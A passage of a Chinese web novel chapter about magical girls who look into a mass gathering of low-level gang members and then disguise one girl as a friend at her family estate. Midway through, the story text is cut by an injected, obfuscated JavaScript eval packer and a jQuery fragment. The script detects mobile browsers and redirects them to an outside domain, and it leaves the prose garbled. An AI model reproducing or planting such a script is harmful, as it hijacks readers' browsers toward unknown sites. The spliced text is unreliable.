第二天的早上,西西路从古河梦久那里收到了一个毛毡玩具,不是什么特殊形状,甚至不是一个完整的圆,但可以推测出,是用猫的毛发扎出来的。 “用汽水的毛做的,她不怎么掉毛,得到这个可不容易。”古河梦久说。 “为什么给我这个?”西西路觉得很麻烦,她没地方,也没时间存放一个装饰品。 “看你挺喜欢汽水的。”古河梦久笑着说,意为分享,“我做了很多,也分你一个。” 这样说来,西西路想起自己确实听说过古河梦久有到处分毛毡玩具的做法,小而独特的手工制作摆件并不是多么珍贵的礼物,大多数人都不会拒绝古河梦久分享自己的小爱好。所以,她并不是唯一一个,西西路捏着手里的毛毡玩具,觉得这样才好。 “谢谢啦,古河老师。”西西路笑着说,“我会把它挂在我家里的。” “这就随便你了。”古河梦久离开前转过身说,“这套衣服也很适合你。” “毕竟是我自己挑的。”西西路笑了,她原以为自己会将那套衣服丢在角落里,但真的穿上后,却也没再想那么多了。 领口宽敞,呼吸的感觉如此美妙。 35.ūnus 2024年4月24日,星期三,天气晴。 本周一发生在东流湾的海面油污污染事件,目前已证实为柴油泄漏。城市环境保护办公室表示,该事件可能为夜间非法排放所致,正在调取监控录像。海鸟救护中心已接收7只受影响的鸬鹚。 西部市区政府市长办公室宣布,位于海岸线区的两处露营地将于下周清理,转移入住新设庇护中心。旧西部市区无家可归者权益组织抗议称:“这不过是将人从街上赶进仓库,并不等于解决问题。” 市监察局警方巡警在报告中指出,东流港区附近最近两周共发生13起由未成年人主导的打砸财物事件。警方表示大部分涉案青少年未辍学,而是“课余时间无监管”。各区域人类资源相关服务部门承诺将扩大“青少年留驻项目”投入。 城市作家协会年会火药味十足,新小说《饥饿者之歌》被批“把都市贫穷当恐怖元素”。小说讲述一名快递员在送餐途中看见“城市的阴影因饥饿而在吞噬人类”,但被作协评论员批评为“借用边缘群体痛苦搞怪力乱神”。 凌晨市区遭遇一系列“微震”影响,科学家推测为地壳轻微滑动,但未排除“地下水位波动对城市地基的长期影响”。市交通局启动地铁支架检测计划,预计3条支线短期内会限速运行。 凌晨三点半多一点,犬山晓从无梦中惊醒,她的背部离开床铺表面后皮肤感受到了丝丝凉意,那是冷汗,她不该出汗,也不需要出汗,她用魔力捏住交感神经系统与与血管以达到控制体温与情绪的目。但黑色的虚无中对处理信息与决策的理性失调倒置了其没能搞定它们本该做好的工作,或许她就不该睡觉的,但事已至此,这种仿佛背上被野兽舔过的感觉称不上舒适,她准备起身换件衣服。 犬山晓每天睡眠时间不会超过五个小时,比起睡眠更像是学习常人如何度过洗漱完毕之后与明日太阳升起之中夹缝的时间。通常来说她是不会做梦的,偶尔几次在梦中睁开眼时看到的东西也一定被她会在天亮之后抛之脑后。 家是暗的,且安静,因为她没忘记在睡前关上窗户。犬山晓掀开被子跳下床,脚踩到地毯上后才能将飘忽着的思绪逐渐收回大脑里面,她没有开灯,如不想惊扰这寂静的家中其它不存在的休息者一般悄然靠近更衣室。 更衣室因闯入者而亮起感应灯,犬山晓被晃了下眼睛,她扶了扶额头,从衣架上找出一套新的居家服换上,舒适的面料盖在皮肉之上,就如往常一般。她将换下的衣服放进脏衣篓,抬头看见了镜子中的自己,脸色不太好看,那是血流被刻意控制的结果,不是生病了。她用脸贴镜面,观察瞳孔。 一切如常,犬山晓离开更衣室,床没有吸引她,于是她离开卧室,走过和蔼的客厅布置,她推开阳台的门欢迎月光与夜风光临,随后拉开高脚椅坐了上去。 夜晚,房间之外比室内更加明亮,不仅仅是因为室外的人造灯光,同时也要归功于天上的明月,那皎洁之物反射着日光彰显自己的存在,日复一日,每个夜行者都有机会感谢这颗远在天边的白色星球的。 对于犬山晓而言月亮有着特别的意义,每当她看向月亮,那与多年前如出一辙的美丽星球也这样无言地看着她。犬山晓听说月亮已经死了,她不太信。 就在这样安静的时刻,犬山晓的脑内却轮番展现着过去的一些画面,她看见自己的朋友们,她们在这个城市中各自有着属于自己的位置,她看见克拉拉带着她回到那个实验室,问她家在哪里,看见日之森的钟响了一次又一次,人们来了又走。 她想起每当有人问她关于过去的事情,她总得想办法模糊其词或者避而不谈,不仅仅是因为她不擅长说谎,也因为她自己都不愿意去回想起。那是不计时日的,无家可归的白日与黑夜,那些没有实感甚至没有目的的战斗,受伤又痊愈,只能通过窥视普通人的生活去学习如何成为一个人而不是野兽的日子,已经随着她的努力逐渐远去了,她不愿再想起,所以当然不愿谈论。 犬山晓低头看向自己的手,皮肉骨架神经脂肪都和普通人的没什么区别。她在课上从同学的探讨中得知一个人的手骨长度和身高是成正比的,她的身高在朋友们之间是最矮的那个,但放在大众之中不算特殊到引人注目。只是她偶尔会想起自己很久之前的一次低头,确认自己新长出来的手是否完好时,那与现在低下头时看到的没什么变化。 就像是天上的那一抹圆月,多年前是如何的,现在依旧如何。多年前犬山晓在无助时抬头向月亮吐诉自己的心声以抚慰心灵,如今月光一如既往地照拂与她,提醒着她过去抬起头时身处的是一副怎样的情景。 日复一日,年复一年,好在月亮不会说话,而犬山晓也有了属于一个普通人该有的一切。可只要她活一日,月亮就存在一日,她想方设法将过去撇下,可月亮就在那里。 这让她怎样才能忘记自己的过去? 犬山晓没有再看月亮,转而去看放在客厅沙发旁边的吉他,她又想起那次演出,每当她困于过去时,存在那过去的记忆之中的演出总能很迅速地将她带回现实。她跳下高椅去拿吉他,现在并不是一个合适的练习的时刻,犬山晓抬手在自己的周围画了个圆,她的周围很快就安静了下来,她坐在沙发上开始弹奏,原木吉他特有的浑厚音调随着她的指尖跳出。 艾克里普说,犬山晓是不使用魔法作为主要战斗方式的魔法少女,但只有她自己知道魔法对她而言是多么重要的存在。就像是人类与空气一般,她没办法想象自己若是没有魔法,那自己的人生会是个什么模样。 在音乐之中,她想起森山寺未央和森山寺未雅的派对邀请,想起有乐羽生歌唱时高兴的模样,想起艾克里普看着所有人微笑的样子,她也低垂着头,露出了微笑。 未来无论怎样都好,但至少在天亮之前,她可以一直弹吉他。 不知不觉窗外亮了起来,于是犬山晓收好吉他,站起身拉伸了一会,准备开启新的一天。 手机屏幕亮起,日之森发来简讯,大意是校内增添了许多安保人员,今日暂时停课,同时社区内近期并不安全,街道上会有安全员确认学生不会在外徘徊。 这突如其来的消息让犬山晓皱眉,她昨日夜里没去西部市区看过。 想了想后,犬山晓将问题发送到聊天群里。 “学校今天停课的原因大家有什么头绪吗?我会去市区看看的,我们要不要提前开始行动?”犬山晓发送消息之后便开始做自己的事情,毕竟现在天刚刚亮,时间还早。 过了一段时间后,手机有消息提醒。 “我听管家说是有大量□□成员在准备什么活动,具体原因我也不清楚,我的父母也很早就出门了,但今天我的家教老师说会正常来给我补课。”有乐羽生的消息透露出她郁闷的心情。 这个消息让犬山晓又不免想起了天生目白,但她不准备提起这。 “居然是□□吗?我们这里倒是没怎么被波及,那些人到底是准备做什么会让日之森收到消息让停课啊。”森山寺未央过了一会发来消息,好奇心充沛。 “具体细节现在就真的无从得知了,不过每年都会发生类似的事情,就是普通的聚集活动,酒会或者纪念日什么的,毕竟最近没有出现哪个首领被捕的新闻。这段时间内犯罪率会升高不少但在控制下不至于出现街头暴力事件。今年停课可能是校方考虑到了之前的恶性事件吧。”有乐羽生有些了解但并没有太在意,“总之我认为并不会影响到我们的行动。” 这些事情有乐羽生在学生会时就没少听其它成员讨论,有乐千奈也不时在餐桌上以每年活动最终的结果教育有乐羽生政治敏感性以及一些节日守则。 “这样说的话其实也没有很危险,不过居然每年都这么做吗?那城市治安部门还真是辛苦啊。”犬山晓有些惊讶,她印象里往年城市中很少出现大规模暴动事件。 “那些巡警或者带队拿枪的无论如何都称不上是辛苦的啦,卡点下班去喝酒比我们半夜抓魔物还积极。街道的和平是因为这里的城市治安承包商有一半多被合法分额给了别的灰色组织,而且类似的活动十年以前更频繁一点,现在无论是哪种武器都没办法随随便便带出门,于是大家的交锋方式就转变为酒桌活动了,酒精烟草生产和税额倒是都有这群人的贡献呢。”有乐羽生说。 “这样来说其实对我们的行动也没什么大影响,我们今天甚至不会在这个区域活动,不过这种情况下街道的管制会变得严格。我们上车后尽量快点上高速吧。”森山寺未央说。 “这确实是个需要注意的点。不过我还是有些在意日之森停课的理由,日之森校区基本上算近山区了。而且即使校董会得到了会有□□活动的消息,一般活动都会在特定俱乐部或者酒庄,实在是想不通和我们上学能有什么关系呢。”有乐羽生还是有些不解。 “这件事我倒是有所耳闻,昨晚我在布置的时候看见许多区域的街道上多了些看守者,但是并不是所有人都穿着警察制服。那些人看上去是盲目的,但我并没有刻意去问,所以我也不清楚是出了什么事。”艾克里普带来了意想不到的消息,“不过目的也算是达到了。” “咦?居然就在街上?难道说那些□□也开始重视街道管理了吗?市中心的红绿灯倒是不需要再增添些指手画脚的人了呢。”有乐羽生说。 “我的直觉告诉我好像是要发生什么大事了,看守者的身份很可疑啊,如果目的不是确保活动不波及群众的话,那还会是什么呢?难道说是在监视?示威?”森山寺未央觉得不太对劲。 “我们还得从市中心离开,克拉拉的公寓位置在市中心,果然还是得提前去看一下吧?”犬山晓有些担心。 “那我们今天要提前开始行动吗?早点去也能早点回来。”有乐羽生问。 “提前开始也不错,等羽生的父母出门之后我们就去你家找你吧!”艾克里普说。 “好!我的地址在这里。”有乐羽生说着把定位发在了聊天群里,离市中心有半小时左右的车程的距离。 “居然离我们这里还挺近的,到时候我们就说是去送作业文件什么的吧,居然要去参观别人家了有点紧张诶不过好好奇羽生家里长什么样子啊进门需要过安检吗?”森山寺未央说。 “不用紧张!没关系啦,我提前说好会去门口等你们的。”有乐羽生说。 “我也是第一次拜访朋友家,是不是应该带水果或者花篮?”艾克里普说。 “我们家没有人可以拜访哦?不过大家记得准备好要带上的东西。”有乐羽生说。 “那我去准备一下,大家一会见吧!”犬山晓说。 “我也得去准备一些晕车药了。”森山寺未央说。 “未央居然晕车吗?会不会很严重?”有乐羽生问。 “我之前近视后就开始晕车了,后来近视好了但晕车却没好,不过也就是吃饱了撑着的程度吧。”森山寺未央说。 “我会尽量把车开稳的!”有乐羽生说。 放下手机后,犬山晓迅速换上了便服赶往市中心,她想在出发前打听一些关于街头□□行动的消息,她在建筑之间跳跃,城市如影随形。很快就在街头巷尾发现了一些穿着相似披风外套的人,五官刻板得可以。这些人数量不均匀但频繁地出现在市中心街道上,小组之间服装颜色刻意地有所不同,多元化到经过的上班族都不太敢直接去看这些人。 不知道和那个白夜社有没有关系,犬山晓心中猜测,但也不确定。 根据犬山晓的了解,这些漫无目的者都仅仅是最底层的成员。犬山晓曾刻意避免和本地的□□有所交流并全数外包给克拉拉,这位监护人朋友对本地灰黑产业链的生态圈不感兴趣,只在乎个别消息对她的生意是否有影响,简而言之,她按需购入影响力但不干涉。 视线转动,犬山晓很快锁定了一个看上去无精打采正在打哈欠的人,他站着的位置与其它人稍有距离,主动被动尚且不知,总之单独落在一个拐角处。 “哈啊——”男人又打了个哈欠,面上有着对自己处境的抱怨但又有没法真的将其说出口的厌世和自视甚高,这样的人犬山晓在同一条街上能看见四五个,她减少呼吸频率,快速跳下并掐住那人的喉咙将其彻底拖进拐角处。 “你们的目的是什么?”犬山晓低声问,手下用力确保对方若是有所动作她能第一时间反应。 “额?”男人明显一副没能反应过来的样子,他下意识地挣扎了起来,脸色逐渐浮现出愤怒的神色,但当他意识到自己的脖子被不知名尖锐冰凉的物品抵住时,又非常适时地冷静了下来。 “我,我不知道,我就是个外围成员。”那人颤抖着回答,恐惧不似作伪。 “你收到的命令是什么?”犬山晓不为所动。 “就是在这里站着,站一天。”那人腿开始抖了,下一刻他发现控制住自己的力量不见了,迅速站直了转身看自己身后,那里当然是什么都没有。 “你们背后的组织是什么?”犬山晓继续问。 “我,我是犬山家族中直属干部山泉干部旗下西区三组河野组的成员管理的!”那人报出一长串身份证明时气都稳了些,犬山晓因为这个姓氏顿了顿,但也没有太在意。 “其它的呢?”犬山晓问。 “…我,我不清楚。”那人见犬山晓不为所动后声音就漏了气,“那边那些应该是北野的,应该也有天生目的,其它的我就不认识了。” 此人提及的其余姓氏的含义对犬山晓来说太过陌生了,她记下这些,又觉得只是记个名字没什么意义,便干脆放开此人转为捕捉别的目标。 接下来犬山晓接连问了好几个这样的人,她得到的回复大多数相同,“在这里站着,巡视附近,在街头徘徊”。下命令的人根本没有将真正的目的告诉这群外围人员,巧了,这群人刚好也毫无怨言,亦或者说不敢有。 即使是这样,人群沉默的聚集也是异常现象,更别提人群还会打哈欠。犬山晓在街头上能看见的外围成员就有三百多人,这些毫无目的只是站着的人甚至不算被承认的正式帮派基层。但也因为这些人仅仅是站着,没什么特别举动身上也没有武器,警察们也没动作可以做,只能增添一些人手在街头。 犬山晓对现况不明所以,她收到有乐羽生的消息,不准备继续在这里耗下去了。 “我在街头观察了一下,确实出现了很多奇怪的人,什么组织的都有但地位都很低。我问了,这些人唯一的目的就是站着。”犬山晓把这些信息发到聊天群里。 “只是站着等待命令的话那可能是在示威吗?不过这些人如此密集地分布在街上的话,管理者下达命令让底层人士抛头颅洒热血挣功勋也只是一个电话的事情,难道说日之森是提前知道了会有帮派斗争才停课的?”森山寺未央猜测。 “我觉得可能是这样,这些人已经严重影响到上班早高峰的交通了,希望不要影响到我们正常行动。”犬山晓说。 “我问一下启明星侦探吧!”艾克里普说着打了个电话给启明星。 电话很快被接通了。 “早安,艾克里普小姐。”电话那头的声音一如既往地自信且精力充沛,“想必您也觉得街头上蜂拥着的蚁群们非常扰人清梦吧?” “是的,启明星侦探,”艾克里普并不意外对方消息灵通,侦探大多如此,“我们的学校因为这件事停课了,所以我们准备提前开始行动,希望从您这里了解一下这件事会不会影响到我们。” “您并不是唯一为此困扰的人,近期事务所邮箱吵个不停,无论本职工作为何的大家都想知道影响。”启明星笃定说,“对各位而言的话,结果就是,不必担心!” “那就好。”艾克里普只关心最后的结果。 “几位是准备驱车前往目的地吗?”启明星问道。 “是的,劳烦您帮忙处理后事了。”艾克里普说。 “这倒是小事,不过。”启明星难得地犹豫了一会,“今日出现这种混乱行径,一方面为处理后事打了掩护,一方面也为其它可能发生的混乱盖上了一层遮羞布。” “您的意思是帮派会在市内做出什么大事吗?”艾克里普忧心地问,“这座城市中的黑色和灰色产业链在之前还算是有规律可循,若是要出现打破规则的暴动的话那应该有预兆才对。” “艾克里普小姐,请安心,在我看来均衡还未被打破,就天生目家族议事堂成员天生目忍遭到狙击去世一事在顾问的双向沟通下暂时不需要考虑冲突问题。混乱本身才是威胁,我推测你们会遇到混乱本身,也就是那些天使,这一点你们要小心。”启明星说。 “可是我们的行动临时提前了,我想我们应该不会遇到这些人?”艾克里普不确定地问。 “遇到是一种概率,但并不是每一次相遇都是巧遇,黑手党卡莫拉家族曾为了达成暗杀目的让暴徒聚集在广场吸引警方,虽然大多数情况下这些吃税金饭的都派不上太大用处,但重要的点在于其正确性和象征意义。”启明星顿了顿,直白地说,“我们尚且未能断定幕后黑手与□□,尤其是白夜社的确切关系,我可以给我的委托人一些乐观的答复,但无法影响她们的选择,更无法影响天使的行动规则。” “我清楚了,感谢提醒。”艾克里普郑重地说。 “不过即使出现了一些小差错也不用太担心就是了,告诉我就好,请各位加油吧,真相的燃料就靠你们啦!”启明星鼓励着结束了这通话。 艾克里普将这段对话进行了总结,艰难地打字输入发送到群里。 “其实我还蛮好奇这些人在大街上站着到底要做什么的,毕竟现代□□虽然已经不是那么恐怖了但还是离普通人的生活很远,突然离这么近有点冒犯社交距离了吧。启明星侦探推测部分□□与天使的行动有利益相关,在这一点上我很好奇其中哪边更占优势些。不过这样一来我也能猜出来那些人体实验的部分资金来源是什么了可恶啊,用黑心钱做黑心事真是太黑心啦!”森山寺未央说。 “这样说的话,我见过的那些□□人士其实仅仅是很少的一部分,身份比起帮派成员更像是社会人士呢。就那些人而言我很难想象她们与天使有关,不过人不可貌相,我们到目前为止也没见过几个天使。我们的目标也不是□□人士而是天使和做人体实验的人。”有乐羽生说。 “这种人沾上了就甩不掉,还是离远一些比较好吧?”犬山晓说。 “对的哦,无论怎么说都是暴力份子,果然还是不要了解太深了吧。”有乐羽生说。 “你们觉得幕后黑手会与□□有直接的联系吗?并不是普通的利益交换,而是更深层的合作关系或者控制关系。”森山寺未央问。 “如果真的有的话那可就麻烦了,□□就和下水管道一样平时看不见但到处都是而且消失了影响很大。”犬山晓过了会才说。 “很精彩的比喻,不过就启明星侦探的推论也支持这一点,她的话中意为将□□与天使的行动准则和目标分开看,如果真的联系起来的话我们要做的事情就很多了。未央为什么会这样想呢?”有乐羽生说。 “是未雅说的,她说西西路老师那边找到的物流的线索很可疑,她查到圣心物流公司虽然运输网络规划非常简单,但记录在案的技术支持,运输调度配置,启动资金都可以可以与国际物流媲美,而这家物流仅仅成立了十年左右。物流行业是内部外部管理都非常严格的行业,如果以这样的角度去看这家物流的规模很难想象它仅仅为Evo这一个公司服务。她还说,启明星侦探无法确切地了解其中联系是正常的,她在接触到我们与六十七号先生之前大概率没有直接接触过相关事件,也没有见过天使。” “确实如此,启明星侦探在与我初次见面时说过这一点。”艾克里普想起了她委托启明星时对方所说的话,“而且就我一直没能找出其行动轨迹来看,对方是有意隐瞒自身存在的,即使是与其合作的普通人也应该会被要求做同样的事。” “在这一点上确实很可疑,按照合作的关系来说的话,Evo暗地里以这家物流公司作为套皮手段与其它存在有经济上的暗中往来那确实是合理的。”有乐羽生说,“而且天生目白的养母天生目清源与我有过通话,话语间禁止我继续接触那个事件,那是内线电话,我的母亲不知情。在这一点上我同意□□,或者说白夜社与幕后黑手有直接关联,至少天生目家有。” “好吧,看来现在是没办法脱开关系了。”犬山晓说。 “至少我们可以使用隐身魔法!不过圣心物流与Evo并非同一出生。”森山寺未央过了一会补充道,“虽然其西部市区的物流中心在Evo园区内,但圣心物流和圣心医疗保险是独立的,且管理人与Evo董事会成分完全不重合。我搜了一下,它们居然是鲸岛集团旗下的,这个集团近几年还成立了娱乐公司也太多才多艺了吧!之前在绿地那边的体育馆演出的双人偶像组合就是。” “你是说这家公司实际上才是与幕后黑手有关的那边吗?比起Evo来说?”犬山晓问。 “Evo作为挡箭牌无疑是显眼又拉风的,但我并不认为它仅仅是单纯的挡箭牌,至少那位CEO肯定对这些事知道些什么。如果要知道确切线索的话我们得去调查一下□□,或者干脆从天使开始调查?如果能一步到位当然更好啦但我直觉她们要做大事所以调查这边可能是有点捉襟见肘房子着火异变突生期中考试了啦。”森山寺未央说。 她很激动。 “我明白这方面涉及社会问题的确实是复杂又难以控制的,不过这些果然还是等到我们从神脉医院调查结束之后再说吧,现在大家都到哪了?”艾克里普说。 “我在附近了。”犬山晓发了个定位。 “我们也来啦!刚刚下电车,今天天气不错诶,我们从来没来过这一块。”森山寺未央说。 “哎呀大家快到啦!那位补课老师要晚一点,不过也正好。”有乐羽生非常兴奋。 临中心湖最北端湖区的居民区正是几人的目的地,南居民区,这里是本地著名高收入人员居住地,古宅,艺术陈列馆与带喷泉的公园的所在地,很遗憾未能拥有一个特别一些的名字来夸耀其引以为豪的俯瞰景观。 几人在车站集合之后沿着规整绿化带走,脚踏整洁彩砖,偶尔点评一番被枝叶雕塑包起的房屋外设。她们路过三个没有红绿灯的十字路口,周围却越来越安静,偶尔缓缓移过几辆车也带不起多少噪音。抬头看便能看到高楼,但看不到楼里装着的,区内建筑最高不过五层,但占地面积很好地补足了这一点。就好像城市化的大手偏偏放过了这里,让它们得以保留过去的样貌。 “我还从来没来过这里,好安静啊。”森山寺未央打量着绿化带说,“这里比起墙,绿化带更多一点啊这里的隔离,树也很高。” “毕竟这块地方的居住人口加起来大概还没有我们学校教学楼一栋的人多,植物比人多不失为一种弥补因看不到辛勤工作的人而感到寂寞的手段。”森山寺未雅眺望远方的人造湖,有园林工作者在捕捞浮游生物。 “寂寞能用植物来弥补吗?植物又不会说话吧。”犬山晓从导航界面分出神来问。 “不会说话才好,人说话那些人又不听,植物说话那些人会跑。”森山寺未雅摊手。 “哈哈哈——”森山寺未央笑了,犬山晓若有所思。 “这里的建筑总感觉近五十年一直没变过,这一点倒是和日之森很像呢。”艾克里普笑着说,“不过安静确实是罕见的,这一点在城市里很难见到。” “这里街上基本没有人或商店,离车站也很远,住在这里出门就只能开车了吧。”犬山晓看着导航说。 “这里就要谈一谈植物的薪水问题了。”森山寺未央叉着腰说。 不远处的绿墙之内就是定位目的地,镶嵌在植被中的黑色金属铁艺大门此时关着,有几位看上去是侍者打扮的人推着小车从侧门走出来,看见几人后主动开口打招呼。 “几位想必就是羽生小姐的客人吧,请从前方的正门进,小姐已经在那里等候多时了。”侍者地说完之后微微鞠躬,推着小车离开了。 “我突然就紧张起来了!”森山寺未央背微微挺直了。 “反正马上就走了,反倒是未雅需要适应一下吧?”犬山晓看向森山寺未雅,发现对方没什么反应,有些欣慰。 “别担心,学习是我擅长的事情,奴役别人也是。”森山寺未雅点点头。 “是这样吗?”艾克里普意外地说,“未雅是很有礼貌的孩子,看不出会这样做呢。” “礼貌是手段的一环哦。”森山寺未央说。 几人沿着路再往前走了几十米,左拐,视线前方左侧原本关着的大门面上有一小块敞开一条缝,有乐羽生从缝隙中探出脑袋。 “你们来啦!”有乐羽生惊喜地推开门走出来,后方有谁伸手将门拉开,金属门的行人小门停顿在直角处不动了,等候行人穿过。 “辛苦你们跑一趟了,走吧走吧现在家里完全没人!”有乐羽生凑到几人身边后转身和大家一起往大门走去。 “你每天都从这里出发去学校吗?”犬山晓问道。 “是呀,我知道,很远对吧?”有乐羽生无奈地说。 “这里简直像博物馆或者美术馆一样啊,老房子博物馆。”森山寺未央感慨道。 “有几栋建筑确实是这种形式的,并没有人居住,你们一路上都没怎么看见人吧?”有乐羽生说。 “是呢,这里很安静,就连路灯都很少。在这里生活的话思绪会很平静呢,植物也会掩盖很多人为的噪音。”艾克里普点头。 几人说话间走进了大门,有乐家的户外园林每个角落里耸动的阴影都有可能变成一个完整的人,此时有工作人员看见有乐羽生带着别人进屋,纷纷投来了自以为隐蔽的视线,但没有人说话,若是遇到了近处的人对方也仅仅是点头致礼。 “这个是我们家的家规,我的母亲禁止家里的人说没有意义的话,并不是她们故意这样的。不过她们现在都不在家。”有乐羽生介绍说。 “总感觉很紧张呢,人很多但是都不说话的话有种被人盯着考试的感觉。”森山寺未央感到十分不自在。 “确实像是在比谁更能墨守成规一样,你平时在家里也不说话吗?”森山寺未雅问。 “差不多,除了要说的事情,其它时候只是点头或摇头。”有乐羽生想了想补充道,“我也不会主动去看别人,大多数情况下都是看正前方或者谈话对象。” 有乐羽生带着几人走过正门,与管家点头致意之后带着几人到换鞋处换鞋。脚下改装完毕,随后几人穿过功能区分不太明确的主要会客厅和私宴厅并从楼梯口前往二楼,站在二楼楼梯口回头,几人看见正下方大门入口处和会客厅的沙发如装饰品一般陈列。一眼望去地面就像是样板房一样空旷又精致,但细看就能发现站在角落里与阴影融为一体的侍者。 “这些画总感觉在哪里见过,这样不盖东西摆在这里不要紧吗?”森山寺未央打量着一路走来墙壁上就没断连过的各种画作。 “这些经常会换,换上其它人送的,换下的又送给其它人,画作本身倒是不重要了,不过我父亲非常喜欢收藏这种东西,母亲更在乎其中的价值。”有乐羽生摇了摇头。 “那为什么还要挂上去呢?”犬山晓觉得有点奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743328|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我猜是让它们自我介绍。”森山寺未雅说。 “差不多啦!”有乐羽生笑了,“也有听不懂的客人哦,但那些大多数都会摆出一副‘原来如此啊’的表情表达自己理解了一幅画为什么能卖那么贵,有时候真想让她们仔细说说呢。” “这些画作的本身反而没那么重要了。”艾克里普说着,叹了口气,“有些作者会因为这个原因讨厌上自己的作品,但作画时却又是热情的,真是悲哀。” “…是啊。”有乐羽生说。 二楼往左便是有乐羽生的个人所属空间,她带着几人进入会客房关上门,松了口气。 “这里隔音很好!虽然那些侍者们都不说话,但果然还是没人看着比较好吧。”有乐羽生说。 “确实啊,而且这个屋子里的监控摄像头真是有够多的,园子里也是。”犬山晓也叹了口气,她很难忽视那些自以为隐蔽的打量。 “母亲她很重视这些呢,不过房间内是没有的!”有乐羽生安慰说。 “平时羽生会在这里弹琴吗?”艾克里普走向角落里的三角钢琴,对其制作痕迹与材质附带的年代感感到惊讶,“这台钢琴内部维护的很好呢。” “是的,如果有客人来我还得在一楼弹琴给客人看,不过我不讨厌钢琴啦。”有乐羽生说。 “感觉比想象中的简单一些,我们来谈谈你平时的行动方式吧?”森山寺未雅从会客房的窗户往外看,园林脉络中,刚刚推着车离开的侍者此时从客厅旁的小门进入。 有乐羽生向森山寺未雅暂时自己平时站立走路吃饭是怎么做的,并且简单介绍了平时会发生的事情,有乐家的家规让这件事简单了不少。 “还有这个得交给未雅。”有乐羽生将自己的手机交给了森山寺未雅,“这台手机上应该有我母亲的定位工具,如果你要出门就把它放在书房抽屉里就好。” “…没关系吗?”森山寺未雅看着有乐羽生问。 “嗯?”有乐羽生疑惑地回应,“没关系的哦,母亲也不是随时都会查看监控的。” “算了。”森山寺未雅拿起手机看了看,“希望我不会遇到你的母亲。” “放心啦!”有乐羽生安慰道,“她们很忙的,而且我不认为母亲能认出我。” “这我就先不思考了,那位补课老师对你了解如何?”森山寺未雅问。 “我们才见过一次,不过那位老师是很会观察学生的类型呢,说不定已经写好了关于我的观察报告了?”有乐羽生笑着说。 “确实有这种可能呢,现在的补课老师可是很恐怖的。”森山寺未央叹了口气。 “确实,果然还是要读读看你写的作业吗?”森山寺未雅想了想,“能给我看看你们上次见面时用到的材料吗?” 有乐羽生郑重地点了点头,转头去书房里取了些资料,森山寺未雅坐在沙发上翻着看了会便表示自己准备好了。 “那我来施法。”艾克里普站了起来,走到森山寺未雅身前,她左手手掌朝内右手手掌朝外向森山寺未雅,两手之间隔了大概2厘米的距离,随后她双手一翻,恍惚之间,森山寺未雅的外形模糊了一瞬间,下一刻,站在艾克里普身前的人已经完全变成了有乐羽生的模样。 “哦哦!”有乐羽生非常感兴趣地绕着森山寺未雅看,一圈又一圈,镜子里看到的自己和真正用双眼看到的还是有很大差别的。森山寺未雅站着不动任她感兴趣。 “如何?”艾克里普站在一旁笑着问。 “完全一模一样啊,不过总感觉还有一些差别?”犬山晓总感觉有些违和感。 森山寺未雅听后将嘴角微微上扬到一个无法称为喜悦的微笑,双眼眯起到一个友善温和但并不亲近的角度,眉头放宽,眼神放远,脖子在后收的同时下巴微微扬起,双手自然地贴在身侧垂下。 “完全一模一样啊!”犬山晓惊叹道。 “原来我平时是这样的吗?”有乐羽生若有所思,她本人确实没察觉到自己的习惯。 “自己的话很难看到吧,毕竟拍照和照镜子都是有意识的。”犬山晓点头说。 “这不是很厉害嘛!”森山寺未央惊叹着走来走去比较二人。 “幸好只有一天,这样端着还挺累人的。”森山寺未雅稍微偏了下脑袋,表情瞬间就不一样了。 “我摆出这样的表情会是什么样的呢?”有乐羽生尝试着偏头,眼睛不做动作地看向空中的某处,嘴角下撇。森山寺未雅就看着她模仿自己的面部松弛感,不给予评价。 “看上去是生气了呢。”艾克里普评价说。 “真是神奇,未雅她这样的话看上去完全就是一副很无聊的样子。”犬山晓来回看两个人。 “情绪表现也是一种天赋吧?”森山寺未雅耸了耸肩,这也是有乐羽生不会做的动作之一。 随后艾克里普再次施法让有乐羽生变化成森山寺未雅的模样,虽然说她完全模仿不出来森山寺未雅本人的神态,但好在这并不重要。森山寺未雅随着几人一起走到宅子门口,让管家吩咐司机送几人到市中心附近,避开早高峰的公共交通。 管家自然是完全没有看出来什么异常,几人坐上车后面面相觑没怎么说话,直到站在市中心街道上才开口。 “走吧走吧!我准备好开车了!”有乐羽生非常期待地笑着说,丝毫没有考虑过自己正顶着另外一个人的脸,或者说其实是有的。 “哇,未雅绝对不会露出这样明显开心的表情,我可以拍一下吗?”森山寺未央感慨说。 “拍吧拍吧!”有乐羽生点头,又挤出几个友好又亲切的表情,引得森山寺未央连连竖起大拇指。 “那你呢?努努力照镜子的话不也能看到吗?”犬山晓问道。 “这样来说的话其实我应该也不会,不过我觉得我还挺开朗的。”森山寺未央思索着说,“这种表情如果不是发自真心地去做还是很奇怪的,不过我觉得我还是挺开朗的!” “毕竟都是孩子嘛,有事情解决了就不会有压力了。”艾克里普说。 “是这个道理。”犬山晓点头笑着说。 有乐羽生和森山寺未央对视一眼,都没说什么。 再往里走一段路就能逐渐看到那些在街头站着的帮派成员了,虽然说只是外围成员,但普通居民即分不清也不在乎地位,只要看到街头出现了大量□□莫名其妙地站着就有足够的理由被吓到了。这让本就繁忙的路面交通变得更加缓慢拥挤,有警察在与一些帮派成员攀谈,但看双方的表情其并没有得到好结果。 “这些人到底是想做什么事呢?光是站在这里不动的话也会招致后果的,如果没有足够的理由那就不会出现这样的情况了。”有乐羽生一边摇晃特大杯冰焦糖蔓越莓燕麦拿铁一边用余光看那些可疑人士。 “这样一看确实挺吓人的,老大和小混混站在一起也会被统一称为帮派成员的,这样聚众难道说是故意想威胁交通部门吗?”森山寺未央吸了口桃子冰绿茶,冰块咕噜作响。 “大家都很害怕。”艾克里普捧着热抹茶忧心忡忡地说,“无论是居民还是警察还是那些帮派成员都是,学校里的大家一定也一样吧。” “希望不会影响到我们,不过这样的话堵车会很严重吧。”犬山晓捧着蜂蜜柠檬水皱着眉观察不远处的车辆通行情况。 